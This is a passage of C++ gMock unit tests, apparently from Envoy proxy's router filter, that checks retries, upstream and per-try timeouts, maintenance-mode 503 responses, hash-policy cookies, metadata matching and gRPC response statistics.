&decoder; callbacks.onPoolReady(encoder, cm_.conn_pool_.host_); return &cancellable_; })); EXPECT_CALL(cm_, httpConnPoolForCluster(_, _, _, _)) .WillOnce( Invoke([&](const std::string&, Upstream::ResourcePriority, Http::Protocol, Upstream::LoadBalancerContext* context) -> Http::ConnectionPool::Instance* { EXPECT_EQ(10UL, context->computeHashKey().value()); return &cm_.conn_pool_; })); std::string choco_c, foo_c; EXPECT_CALL(callbacks_.route_->route_entry_.hash_policy_, generateHash(_, _, _)) .WillOnce(Invoke([&](const Network::Address::Instance*, const Http::HeaderMap&, const HashPolicy::AddCookieCallback add_cookie) { choco_c = add_cookie("choco", "", std::chrono::seconds(15)); foo_c = add_cookie("foo", "/path", std::chrono::seconds(1337)); return absl::optional<uint64_t>(10); })); EXPECT_CALL(callbacks_, encodeHeaders_(_, _)) .WillOnce(Invoke([&](const Http::HeaderMap& headers, const bool) -> void { MockFunction<void(const std::string&)> cb; EXPECT_CALL(cb, Call("foo=\"" + foo_c + "\"; Max-Age=1337; Path=/path; HttpOnly")); EXPECT_CALL(cb, Call("choco=\"" + choco_c + "\"; Max-Age=15; HttpOnly")); headers.iterate( [](const Http::HeaderEntry& header, void* context) -> Http::HeaderMap::Iterate { if (header.key().c_str() == Http::Headers::get().SetCookie.get().c_str()) { static_cast<MockFunction<void(const std::string&)>*>(context)->Call( std::string(header.value().c_str())); } return Http::HeaderMap::Iterate::Continue; }, &cb); })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); Http::HeaderMapPtr response_headers(new Http::TestHeaderMapImpl{{":status", "200"}}); response_decoder->decodeHeaders(std::move(response_headers), true); router_.onDestroy(); } TEST_F(RouterTest, MetadataNoOp) { EXPECT_EQ(nullptr, router_.metadataMatchCriteria()); } TEST_F(RouterTest, MetadataMatchCriteria) { ON_CALL(callbacks_.route_->route_entry_, metadataMatchCriteria()) .WillByDefault(Return(&callbacks_.route_->route_entry_.metadata_matches_criteria_)); EXPECT_CALL(cm_, httpConnPoolForCluster(_, _, _, _)) .WillOnce( Invoke([&](const std::string&, Upstream::ResourcePriority, Http::Protocol, Upstream::LoadBalancerContext* context) -> Http::ConnectionPool::Instance* { EXPECT_EQ(context->metadataMatchCriteria(), &callbacks_.route_->route_entry_.metadata_matches_criteria_); return &cm_.conn_pool_; })); EXPECT_CALL(cm_.conn_pool_, newStream(_, _)).WillOnce(Return(&cancellable_)); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); // When the router filter gets reset we should cancel the pool request. EXPECT_CALL(cancellable_, cancel()); router_.onDestroy(); } TEST_F(RouterTest, MetadataMatchCriteriaFromRequest) { verifyMetadataMatchCriteriaFromRequest(true); } TEST_F(RouterTest, MetadataMatchCriteriaFromRequestNoRouteEntryMatch) { verifyMetadataMatchCriteriaFromRequest(false); } TEST_F(RouterTest, NoMetadataMatchCriteria) { ON_CALL(callbacks_.route_->route_entry_, metadataMatchCriteria()).WillByDefault(Return(nullptr)); EXPECT_CALL(cm_, httpConnPoolForCluster(_, _, _, _)) .WillOnce( Invoke([&](const std::string&, Upstream::ResourcePriority, Http::Protocol, Upstream::LoadBalancerContext* context) -> Http::ConnectionPool::Instance* { EXPECT_EQ(context->metadataMatchCriteria(), nullptr); return &cm_.conn_pool_; })); EXPECT_CALL(cm_.conn_pool_, newStream(_, _)).WillOnce(Return(&cancellable_)); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); // When the router filter gets reset we should cancel the pool request. EXPECT_CALL(cancellable_, cancel()); router_.onDestroy(); } TEST_F(RouterTest, CancelBeforeBoundToPool) { EXPECT_CALL(cm_.conn_pool_, newStream(_, _)).WillOnce(Return(&cancellable_)); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); // When the router filter gets reset we should cancel the pool request. EXPECT_CALL(cancellable_, cancel()); router_.onDestroy(); EXPECT_TRUE(verifyHostUpstreamStats(0, 0)); } TEST_F(RouterTest, NoHost) { EXPECT_CALL(cm_, httpConnPoolForCluster(_, _, _, _)).WillOnce(Return(nullptr)); Http::TestHeaderMapImpl response_headers{ {":status", "503"}, {"content-length", "19"}, {"content-type", "text/plain"}}; EXPECT_CALL(callbacks_, encodeHeaders_(HeaderMapEqualRef(&response_headers), false)); EXPECT_CALL(callbacks_, encodeData(_, true)); EXPECT_CALL(callbacks_.stream_info_, setResponseFlag(StreamInfo::ResponseFlag::NoHealthyUpstream)); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); EXPECT_EQ(0U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("upstream_rq_maintenance_mode") .value()); EXPECT_TRUE(verifyHostUpstreamStats(0, 0)); } TEST_F(RouterTest, MaintenanceMode) { EXPECT_CALL(*cm_.thread_local_cluster_.cluster_.info_, maintenanceMode()).WillOnce(Return(true)); Http::TestHeaderMapImpl response_headers{{":status", "503"}, {"content-length", "16"}, {"content-type", "text/plain"}, {"x-envoy-overloaded", "true"}}; EXPECT_CALL(callbacks_, encodeHeaders_(HeaderMapEqualRef(&response_headers), false)); EXPECT_CALL(callbacks_, encodeData(_, true)); EXPECT_CALL(callbacks_.stream_info_, setResponseFlag(StreamInfo::ResponseFlag::UpstreamOverflow)); EXPECT_CALL(span_, injectContext(_)).Times(0); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("upstream_rq_maintenance_mode") .value()); EXPECT_TRUE(verifyHostUpstreamStats(0, 0)); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->load_report_stats_store_ .counter("upstream_rq_dropped") .value()); } // Validate that we don't set x-envoy-overloaded when Envoy header suppression // is enabled. TEST_F(RouterTestSuppressEnvoyHeaders, MaintenanceMode) { EXPECT_CALL(*cm_.thread_local_cluster_.cluster_.info_, maintenanceMode()).WillOnce(Return(true)); Http::TestHeaderMapImpl response_headers{ {":status", "503"}, {"content-length", "16"}, {"content-type", "text/plain"}}; EXPECT_CALL(callbacks_, encodeHeaders_(HeaderMapEqualRef(&response_headers), false)); EXPECT_CALL(callbacks_, encodeData(_, true)); EXPECT_CALL(callbacks_.stream_info_, setResponseFlag(StreamInfo::ResponseFlag::UpstreamOverflow)); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); } // Validate that x-envoy-upstream-service-time is added on a regular // request/response path. TEST_F(RouterTest, EnvoyUpstreamServiceTime) { NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); Http::HeaderMapPtr response_headers(new Http::TestHeaderMapImpl{{":status", "200"}}); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(200)); EXPECT_CALL(callbacks_, encodeHeaders_(_, true)) .WillOnce(Invoke([](Http::HeaderMap& headers, bool) { EXPECT_NE(nullptr, headers.get(Http::Headers::get().EnvoyUpstreamServiceTime)); })); response_decoder->decodeHeaders(std::move(response_headers), true); EXPECT_TRUE(verifyHostUpstreamStats(1, 0)); } // Validate that x-envoy-upstream-service-time is not added when Envoy header // suppression is enabled. // TODO(htuch): Probably should be TEST_P with // RouterTest.EnvoyUpstreamServiceTime, this is getting verbose.. TEST_F(RouterTestSuppressEnvoyHeaders, EnvoyUpstreamServiceTime) { NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); Http::HeaderMapPtr response_headers(new Http::TestHeaderMapImpl{{":status", "200"}}); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(200)); Http::TestHeaderMapImpl downstream_response_headers{{":status", "200"}, {"x-envoy-upstream-service-time", "0"}}; EXPECT_CALL(callbacks_, encodeHeaders_(_, true)) .WillOnce(Invoke([](Http::HeaderMap& headers, bool) { EXPECT_EQ(nullptr, headers.get(Http::Headers::get().EnvoyUpstreamServiceTime)); })); response_decoder->decodeHeaders(std::move(response_headers), true); EXPECT_TRUE(verifyHostUpstreamStats(1, 0)); } TEST_F(RouterTest, NoRetriesOverflow) { NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers{{"x-envoy-retry-on", "5xx"}, {"x-envoy-internal", "true"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); // 5xx response. router_.retry_state_->expectHeadersRetry(); Http::HeaderMapPtr response_headers1(new Http::TestHeaderMapImpl{{":status", "503"}}); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(503)); response_decoder->decodeHeaders(std::move(response_headers1), true); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); // We expect the 5xx response to kick off a new request. EXPECT_CALL(encoder1.stream_, resetStream(_)).Times(0); NiceMock<Http::MockStreamEncoder> encoder2; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder2, cm_.conn_pool_.host_); return nullptr; })); router_.retry_state_->callback_(); // RetryOverflow kicks in. EXPECT_CALL(callbacks_.stream_info_, setResponseFlag(StreamInfo::ResponseFlag::UpstreamOverflow)); EXPECT_CALL(*router_.retry_state_, shouldRetryHeaders(_, _)) .WillOnce(Return(RetryStatus::NoOverflow)); EXPECT_CALL(cm_.conn_pool_.host_->health_checker_, setUnhealthy()).Times(0); Http::HeaderMapPtr response_headers2(new Http::TestHeaderMapImpl{{":status", "503"}}); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(503)); response_decoder->decodeHeaders(std::move(response_headers2), true); EXPECT_TRUE(verifyHostUpstreamStats(0, 2)); } TEST_F(RouterTest, ResetDuringEncodeHeaders) { NiceMock<Http::MockStreamEncoder> encoder; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder, cm_.conn_pool_.host_); return nullptr; })); EXPECT_CALL(callbacks_, removeDownstreamWatermarkCallbacks(_)); EXPECT_CALL(callbacks_, addDownstreamWatermarkCallbacks(_)); EXPECT_CALL(encoder, encodeHeaders(_, true)) .WillOnce(Invoke([&](const Http::HeaderMap&, bool) -> void { encoder.stream_.resetStream(Http::StreamResetReason::RemoteReset); })); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(503)); router_.decodeHeaders(headers, true); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); } TEST_F(RouterTest, UpstreamTimeout) { NiceMock<Http::MockStreamEncoder> encoder; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder, cm_.conn_pool_.host_); return nullptr; })); EXPECT_CALL(callbacks_.stream_info_, onUpstreamHostSelected(_)) .WillOnce(Invoke([&](const Upstream::HostDescriptionConstSharedPtr host) -> void { EXPECT_EQ(host_address_, host->address()); })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers{{"x-envoy-retry-on", "5xx"}, {"x-envoy-internal", "true"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, false); Buffer::OwnedImpl data; router_.decodeData(data, true); EXPECT_CALL(callbacks_.stream_info_, setResponseFlag(StreamInfo::ResponseFlag::UpstreamRequestTimeout)); EXPECT_CALL(encoder.stream_, resetStream(Http::StreamResetReason::LocalReset)); Http::TestHeaderMapImpl response_headers{ {":status", "504"}, {"content-length", "24"}, {"content-type", "text/plain"}}; EXPECT_CALL(callbacks_, encodeHeaders_(HeaderMapEqualRef(&response_headers), false)); EXPECT_CALL(callbacks_, encodeData(_, true)); EXPECT_CALL(*router_.retry_state_, shouldRetryReset(_, _)).Times(0); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(504)); response_timeout_->callback_(); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_.counter("upstream_rq_timeout") .value()); EXPECT_EQ(1UL, cm_.conn_pool_.host_->stats().rq_timeout_.value()); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); } // Validate gRPC OK response stats are sane when response is trailers only. TEST_F(RouterTest, GrpcOkTrailersOnly) { NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers{{"content-type", "application/grpc"}, {"grpc-timeout", "20S"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); Http::HeaderMapPtr response_headers( new Http::TestHeaderMapImpl{{":status", "200"}, {"grpc-status", "0"}}); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(200)); response_decoder->decodeHeaders(std::move(response_headers), true); EXPECT_TRUE(verifyHostUpstreamStats(1, 0)); } // Validate gRPC AlreadyExists response stats are sane when response is trailers only. TEST_F(RouterTest, GrpcAlreadyExistsTrailersOnly) { NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers{{"content-type", "application/grpc"}, {"grpc-timeout", "20S"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); Http::HeaderMapPtr response_headers( new Http::TestHeaderMapImpl{{":status", "200"}, {"grpc-status", "6"}}); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(200)); response_decoder->decodeHeaders(std::move(response_headers), true); EXPECT_TRUE(verifyHostUpstreamStats(1, 0)); } // Validate gRPC Internal response stats are sane when response is trailers only. TEST_F(RouterTest, GrpcInternalTrailersOnly) { NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers{{"content-type", "application/grpc"}, {"grpc-timeout", "20S"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); Http::HeaderMapPtr response_headers( new Http::TestHeaderMapImpl{{":status", "200"}, {"grpc-status", "13"}}); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(200)); response_decoder->decodeHeaders(std::move(response_headers), true); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); } // Validate gRPC response stats are sane when response is ended in a DATA // frame. TEST_F(RouterTest, GrpcDataEndStream) { NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers{{"content-type", "application/grpc"}, {"grpc-timeout", "20S"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); Http::HeaderMapPtr response_headers(new Http::TestHeaderMapImpl{{":status", "200"}}); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(200)); response_decoder->decodeHeaders(std::move(response_headers), false); EXPECT_TRUE(verifyHostUpstreamStats(0, 0)); Buffer::OwnedImpl data; response_decoder->decodeData(data, true); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); } // Validate gRPC response stats are sane when response is reset after initial // response HEADERS. TEST_F(RouterTest, GrpcReset) { NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers{{"content-type", "application/grpc"}, {"grpc-timeout", "20S"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); Http::HeaderMapPtr response_headers(new Http::TestHeaderMapImpl{{":status", "200"}}); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(200)); response_decoder->decodeHeaders(std::move(response_headers), false); EXPECT_TRUE(verifyHostUpstreamStats(0, 0)); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(503)); encoder1.stream_.resetStream(Http::StreamResetReason::RemoteReset); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); EXPECT_EQ(1UL, stats_store_.counter("test.rq_reset_after_downstream_response_started").value()); } // Validate gRPC OK response stats are sane when response is not trailers only. TEST_F(RouterTest, GrpcOk) { NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers{{"content-type", "application/grpc"}, {"grpc-timeout", "20S"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); Http::HeaderMapPtr response_headers(new Http::TestHeaderMapImpl{{":status", "200"}}); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(200)); response_decoder->decodeHeaders(std::move(response_headers), false); EXPECT_TRUE(verifyHostUpstreamStats(0, 0)); Http::HeaderMapPtr response_trailers(new Http::TestHeaderMapImpl{{"grpc-status", "0"}}); response_decoder->decodeTrailers(std::move(response_trailers)); EXPECT_TRUE(verifyHostUpstreamStats(1, 0)); } // Validate gRPC Internal response stats are sane when response is not trailers only. TEST_F(RouterTest, GrpcInternal) { NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers{{"content-type", "application/grpc"}, {"grpc-timeout", "20S"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); Http::HeaderMapPtr response_headers(new Http::TestHeaderMapImpl{{":status", "200"}}); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(200)); response_decoder->decodeHeaders(std::move(response_headers), false); EXPECT_TRUE(verifyHostUpstreamStats(0, 0)); Http::HeaderMapPtr response_trailers(new Http::TestHeaderMapImpl{{"grpc-status", "13"}}); response_decoder->decodeTrailers(std::move(response_trailers)); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); } TEST_F(RouterTest, UpstreamTimeoutWithAltResponse) { NiceMock<Http::MockStreamEncoder> encoder; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder, cm_.conn_pool_.host_); return nullptr; })); EXPECT_CALL(callbacks_.stream_info_, onUpstreamHostSelected(_)) .WillOnce(Invoke([&](const Upstream::HostDescriptionConstSharedPtr host) -> void { EXPECT_EQ(host_address_, host->address()); })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers{{"x-envoy-upstream-rq-timeout-alt-response", "204"}, {"x-envoy-internal", "true"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, false); Buffer::OwnedImpl data; router_.decodeData(data, true); EXPECT_CALL(callbacks_.stream_info_, setResponseFlag(StreamInfo::ResponseFlag::UpstreamRequestTimeout)); EXPECT_CALL(encoder.stream_, resetStream(Http::StreamResetReason::LocalReset)); Http::TestHeaderMapImpl response_headers{{":status", "204"}}; EXPECT_CALL(callbacks_, encodeHeaders_(HeaderMapEqualRef(&response_headers), true)); EXPECT_CALL(*router_.retry_state_, shouldRetryReset(_, _)).Times(0); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(204)); response_timeout_->callback_(); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_.counter("upstream_rq_timeout") .value()); EXPECT_EQ(1UL, cm_.conn_pool_.host_->stats().rq_timeout_.value()); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); } TEST_F(RouterTest, UpstreamPerTryTimeout) { NiceMock<Http::MockStreamEncoder> encoder; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder, cm_.conn_pool_.host_); return nullptr; })); EXPECT_CALL(callbacks_.stream_info_, onUpstreamHostSelected(_)) .WillOnce(Invoke([&](const Upstream::HostDescriptionConstSharedPtr host) -> void { EXPECT_EQ(host_address_, host->address()); })); expectResponseTimerCreate(); expectPerTryTimerCreate(); Http::TestHeaderMapImpl headers{{"x-envoy-internal", "true"}, {"x-envoy-upstream-rq-per-try-timeout-ms", "5"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, false); Buffer::OwnedImpl data; router_.decodeData(data, true); EXPECT_CALL(callbacks_.stream_info_, setResponseFlag(StreamInfo::ResponseFlag::UpstreamRequestTimeout)); EXPECT_CALL(encoder.stream_, resetStream(Http::StreamResetReason::LocalReset)); Http::TestHeaderMapImpl response_headers{ {":status", "504"}, {"content-length", "24"}, {"content-type", "text/plain"}}; EXPECT_CALL(callbacks_, encodeHeaders_(HeaderMapEqualRef(&response_headers), false)); EXPECT_CALL(callbacks_, encodeData(_, true)); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(504)); per_try_timeout_->callback_(); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("upstream_rq_per_try_timeout") .value()); EXPECT_EQ(1UL, cm_.conn_pool_.host_->stats().rq_timeout_.value()); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); } // Ensures that the per try callback is not set until the stream becomes available. TEST_F(RouterTest, UpstreamPerTryTimeoutExcludesNewStream) { InSequence s; NiceMock<Http::MockStreamEncoder> encoder; Http::StreamDecoder* response_decoder = nullptr; Http::ConnectionPool::Callbacks* pool_callbacks; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; pool_callbacks = &callbacks; return nullptr; })); response_timeout_ = new Event::MockTimer(&callbacks_.dispatcher_); EXPECT_CALL(*response_timeout_, enableTimer(_)); EXPECT_CALL(callbacks_.stream_info_, onUpstreamHostSelected(_)) .WillOnce(Invoke([&](const Upstream::HostDescriptionConstSharedPtr host) -> void { EXPECT_EQ(host_address_, host->address()); })); Http::TestHeaderMapImpl headers{{"x-envoy-internal", "true"}, {"x-envoy-upstream-rq-per-try-timeout-ms", "5"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, false); Buffer::OwnedImpl data; router_.decodeData(data, true); per_try_timeout_ = new Event::MockTimer(&callbacks_.dispatcher_); EXPECT_CALL(*per_try_timeout_, enableTimer(_)); // The per try timeout timer should not be started yet. pool_callbacks->onPoolReady(encoder, cm_.conn_pool_.host_); EXPECT_CALL(encoder.stream_, resetStream(Http::StreamResetReason::LocalReset)); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(504)); EXPECT_CALL(*per_try_timeout_, disableTimer()); EXPECT_CALL(*response_timeout_, disableTimer()); EXPECT_CALL(callbacks_.stream_info_, setResponseFlag(StreamInfo::ResponseFlag::UpstreamRequestTimeout)); Http::TestHeaderMapImpl response_headers{ {":status", "504"}, {"content-length", "24"}, {"content-type", "text/plain"}}; EXPECT_CALL(callbacks_, encodeHeaders_(HeaderMapEqualRef(&response_headers), false)); EXPECT_CALL(callbacks_, encodeData(_, true)); per_try_timeout_->callback_(); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("upstream_rq_per_try_timeout") .value()); EXPECT_EQ(1UL, cm_.conn_pool_.host_->stats().rq_timeout_.value()); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); } TEST_F(RouterTest, RetryRequestNotComplete) { NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); EXPECT_CALL(callbacks_.stream_info_, setResponseFlag(StreamInfo::ResponseFlag::UpstreamRemoteReset)); EXPECT_CALL(callbacks_.stream_info_, onUpstreamHostSelected(_)) .WillOnce(Invoke([&](const Upstream::HostDescriptionConstSharedPtr host) -> void { EXPECT_EQ(host_address_, host->address()); })); Http::TestHeaderMapImpl headers{{"x-envoy-retry-on", "5xx"}, {"x-envoy-internal", "true"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, false); router_.retry_state_->expectResetRetry(); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(503)); encoder1.stream_.resetStream(Http::StreamResetReason::RemoteReset); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); } TEST_F(RouterTest, RetryNoneHealthy) { NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); EXPECT_CALL(callbacks_.stream_info_, onUpstreamHostSelected(_)) .WillOnce(Invoke([&](const Upstream::HostDescriptionConstSharedPtr host) -> void { EXPECT_EQ(host_address_, host->address()); })); Http::TestHeaderMapImpl headers{{"x-envoy-retry-on", "5xx"}, {"x-envoy-internal", "true"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); 